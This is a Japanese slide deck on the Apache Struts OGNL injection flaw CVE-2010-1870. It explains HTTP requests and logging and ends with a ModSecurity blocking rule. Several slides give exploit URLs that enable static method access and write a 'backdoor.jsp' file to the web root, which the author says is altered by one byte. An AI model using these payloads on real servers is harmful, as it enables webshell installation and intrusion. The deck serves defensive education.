Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
※本稿の内容を管理下ではない環境に対して
実施しないでください。
Apache Software Foundationのプロジェクトで開発が
進められているWebアプリケーションのフレームワーク
最新バージョンは、2.3.14.3だが、古いバージョンには
♥を熱くする脆弱性が複数報告されている。
1.3系はE...
クリティカルな脆弱性達が存在するので、意図せずして
情報提供サーバになってしまう。
JINS
2013年5月1日に最終報告。
2,059件のクレジットカード情報が漏えいした
可能性がある。
不正利用の申告があった件数は上記のうち20件。
最大損...
クリティカルな脆弱性のうちの1つであるCVE-2010-1870。
Apache Struts の XWork における OGNL の式評価には、
"#" ParameterInterceptors 保護メカニズムを回避される脆弱
性が存在しま...
HTTPでは、いくつかのmethod(命令)が用意されている
が、その中でよく使われるmethodがPOSTとGETです。
HTTPのリクエスト(利用者からの要求)
Request = Request-Line ; Section 5.1
*(...
GETメソッドの場合
GET /private/index.html?var1=num1&var2=num2 HTTP/1.1
Host: example.com
POSTメソッドの場合
POST /private/index.html HTT...
apacheではPOSTメソッドで送付されるパラメータ(パラメータ名および値)
はログ出力されないので、POSTのパラメータの内容を知るためにはModSecurity
などを導入する必要がある。GETメソッドで送付されるパラメータはログに残る
...
http://xxx?('43_memberAccess.allowStaticMethodAccess')(a)=true
&(arwe)(('43context['xwork.MethodAccessor.denyMethodExecuti...
http://xxx?('43_memberAccess.allowStaticMethodAccess')(a)=true
Staticメソッドの呼び出しを許可するかを指定しており、「true」で呼び出せるように
なる。「43」が#として評価...
&(mq)(('43res.getWriter().println("End")')(a))
レスポンスに「End」を出力する。
&(sqe)(('43res.getWriter().close()')(d))
後始末。
画面にEndと表示してなんも面白くない。
('43_memberAccess.allowStaticMethodAccess')(a)=true
&(bnes)(('43context['xwork.MethodAccessor.denyMet...
('43_memberAccess.allowStaticMethodAccess')(a)=true
&(bnes)(('43context['xwork.MethodAccessor.denyMethodExecution']75false...
デバッグ用のEndを出力する。
&contents=xxxxx
&(rdsq)(('43res.getWriter().println("End")')(a))
&(tres)(('43fos.close()')(d))
&(v)(('43re...
ぐだぐだ言わずに、黙ってupdate。
ただ、Strutsのバージョンアップだと、プログラムソース
の変更やそれに伴うテストの対応がリソース的にできない。
じゃあ、WAFなど別の手段でリスクを軽減しましょう。
とりあえず、今回はModSecurityで。
WAFる
WAFら(ない)
WAFり(ます)
WAFる(こと)
WAFれ(ば)
アップデートできないなら、WAFれ!!
WAFの五段活用
http://www.modsecurity.org/
フリーなWAF。シグネチャ(CoreRuleSet)もフリーで
存在し、シグネチャの追加は知識さえあれば己の力で
なんとかなるかも(やりたくないけど)。
今回はシンプルに「 allowStaticMethodAccess 」があれば
止めるとしています。
SecRule ARGS_NAMES|ARGS "allowStaticMethodAccess"
"phase:2,t:none,audit...
Upcoming SlideShare
Loading in …5
×

CVE-2010-1870

2,579 views

Published on

  • Be the first to comment

CVE-2010-1870

  1. 1. ※本稿の内容を管理下ではない環境に対して 実施しないでください。
  2. 2. Apache Software Foundationのプロジェクトで開発が 進められているWebアプリケーションのフレームワーク 最新バージョンは、2.3.14.3だが、古いバージョンには ♥を熱くする脆弱性が複数報告されている。 1.3系はEOL。
  3. 3. クリティカルな脆弱性達が存在するので、意図せずして 情報提供サーバになってしまう。 JINS 2013年5月1日に最終報告。 2,059件のクレジットカード情報が漏えいした 可能性がある。 不正利用の申告があった件数は上記のうち20件。 最大損害総額:3,053,000 ※申告がなかった不正利用額は推定
  4. 4. クリティカルな脆弱性のうちの1つであるCVE-2010-1870。 Apache Struts の XWork における OGNL の式評価には、 "#" ParameterInterceptors 保護メカニズムを回避される脆弱 性が存在します。 By JVN 1系には、本脆弱性は存在しませんが、EOLとなっている ため、2系の最新バージョンにアップグレードされることを 推奨いたします。 Struts2.0.0 – 2.1.8.1に存在する脆弱性。
  5. 5. HTTPでは、いくつかのmethod(命令)が用意されている が、その中でよく使われるmethodがPOSTとGETです。 HTTPのリクエスト(利用者からの要求) Request = Request-Line ; Section 5.1 *(( general-header ; Section 4.5 | request-header ; Section 5.3 | entity-header ) CRLF) ; Section 7.1 CRLF [ message-body ] ; Section 4.3 Request-Line = Method SP Request-URI SP HTTP-Version CRLF リクエスト レスポンス Webサイト 利用者
  6. 6. GETメソッドの場合 GET /private/index.html?var1=num1&var2=num2 HTTP/1.1 Host: example.com POSTメソッドの場合 POST /private/index.html HTTP/1.1 Host: example.com Content-Length: XX CRLF var1=num1&var2=num2
  7. 7. apacheではPOSTメソッドで送付されるパラメータ(パラメータ名および値) はログ出力されないので、POSTのパラメータの内容を知るためにはModSecurity などを導入する必要がある。GETメソッドで送付されるパラメータはログに残る ので、内容を確認することができる。 (抜粋)RFC2616 15.1.3 URI での機密性の高い情報のエンコード HTTP プロトコルを使うサービスの作者は、その Request-URI にエンコードされ たデータが現れるので、機密性の高いデータの提出に GET を使ったフォームを使 うべきではない。 XX.XX.XX.XX - - [24/Jun/2013:08:12:50 +0900] "GET /sample/index.html?var1=num1&var2=num2 HTTP/1.1" 200 1 1365 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0. 1453.116 Safari/537.36" AA.AA.AA.AA XX.XX.XX.ZZ - - [24/Jun/2013:08:17:13 +0900] "POST /sample/index.html HTTP/1.1" 200 18268 "http://AA.AA.AA.AA/sample/index.html" "Mozilla/5.0 (Windows NT 5.1) AppleWebKi t/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" AA.AA.AA.AA Apacheのログ
  8. 8. http://xxx?('43_memberAccess.allowStaticMethodAccess')(a)=true &(arwe)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a)) &(dd)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a)) &(ged)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a)) &(mq)(('43res.getWriter().println("End")')(a)) &(sqe)(('43res.getWriter().close()')(d)) こんなGETパラメータを放り込んでみると・・・ HTTP/1.1 200 OK Date: Tue, 25 Jun 2013 09:13:18 GMT Content-Length: 4 Connection: close Content-Type: text/plain; charset=UTF-8 End レスポンスは??? なぜ??
  9. 9. http://xxx?('43_memberAccess.allowStaticMethodAccess')(a)=true Staticメソッドの呼び出しを許可するかを指定しており、「true」で呼び出せるように なる。「43」が#として評価される。 &(arwe)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a)) &(ged)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a)) &(dd)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a)) リクエストを変数#reqとして定義。「75」が=として評価される。 レスポンスを変数#resとして定義。 denyMethodExecutionをfalseにセット。
  10. 10. &(mq)(('43res.getWriter().println("End")')(a)) レスポンスに「End」を出力する。 &(sqe)(('43res.getWriter().close()')(d)) 後始末。
  11. 11. 画面にEndと表示してなんも面白くない。 ('43_memberAccess.allowStaticMethodAccess')(a)=true &(bnes)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a)) &(de)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a)) &(gf)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a)) &(keee)(('43res.getWriter().println(43req.getServletContext().getRealPath("u005c"))')(a)) &(arrrs)(('43fos75new%20java.io.FileWriter(new%20java.lang.StringBuilder(43req.getServlet Context().getRealPath("u005c")).append(@java.io.File@separator).append("backdoor.jsp").toS tring())')(a)) &(ovb)(('43fos.write(43req.getParameter("contents").getBytes())')(a)) &(rdsq)(('43res.getWriter().println("End")')(a)) &(tres)(('43fos.close()')(d)) &(v)(('43res.getWriter().close()')(d)) &contents=xxxxxxxxx サーバにbackdoor仕込もう(梅酒ばりにさらりと ※実際に動作するコードからコピペしても動作(ファイル生成のみ)しないように1byte変更しています。 全体像の理解に影響のない個所を変更しています。
  12. 12. ('43_memberAccess.allowStaticMethodAccess')(a)=true &(bnes)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a)) &(de)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a)) &(gf)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a)) &(keee)(('43res.getWriter().println(43req.getServletContext().getRealPath("u005c"))')(a)) 準備体操。 &(arrrs)(('43fos75new%20java.io.FileWriter(new%20java.lang.StringBuilder(43req.getServlet Context().getRealPath("u005c")).append(@java.io.File@separator).append("backdoor.jsp").toS tring())')(a)) ドキュメントルートの絶対パスを出力。特に必要ありません。デバッグのためです。 ドキュメントルートにbackdoor.jspファイルを作成。 &(ovb)(('43fos.write(43req.getParameter("contents").getBytes())')(a)) 作成したファイルに後述するcontentsパラメータの内容を出力する。
  13. 13. デバッグ用のEndを出力する。 &contents=xxxxx &(rdsq)(('43res.getWriter().println("End")')(a)) &(tres)(('43fos.close()')(d)) &(v)(('43res.getWriter().close()')(d)) 後始末。 contentsパラメータで中身はxxxxx。 中身がxxxxxだけのファイルが作成されるだけ ならば、まだいいほう。悪意のあるコードが埋め 込まれた場合、悲劇。
  14. 14. ぐだぐだ言わずに、黙ってupdate。 ただ、Strutsのバージョンアップだと、プログラムソース の変更やそれに伴うテストの対応がリソース的にできない。 じゃあ、WAFなど別の手段でリスクを軽減しましょう。
  15. 15. とりあえず、今回はModSecurityで。 WAFる WAFら(ない) WAFり(ます) WAFる(こと) WAFれ(ば) アップデートできないなら、WAFれ!! WAFの五段活用
  16. 16. http://www.modsecurity.org/ フリーなWAF。シグネチャ(CoreRuleSet)もフリーで 存在し、シグネチャの追加は知識さえあれば己の力で なんとかなるかも(やりたくないけど)。
  17. 17. 今回はシンプルに「 allowStaticMethodAccess 」があれば 止めるとしています。 SecRule ARGS_NAMES|ARGS "allowStaticMethodAccess" "phase:2,t:none,auditlog,deny,id:'999999'“ CVE-2013-2115にも効果あった。

×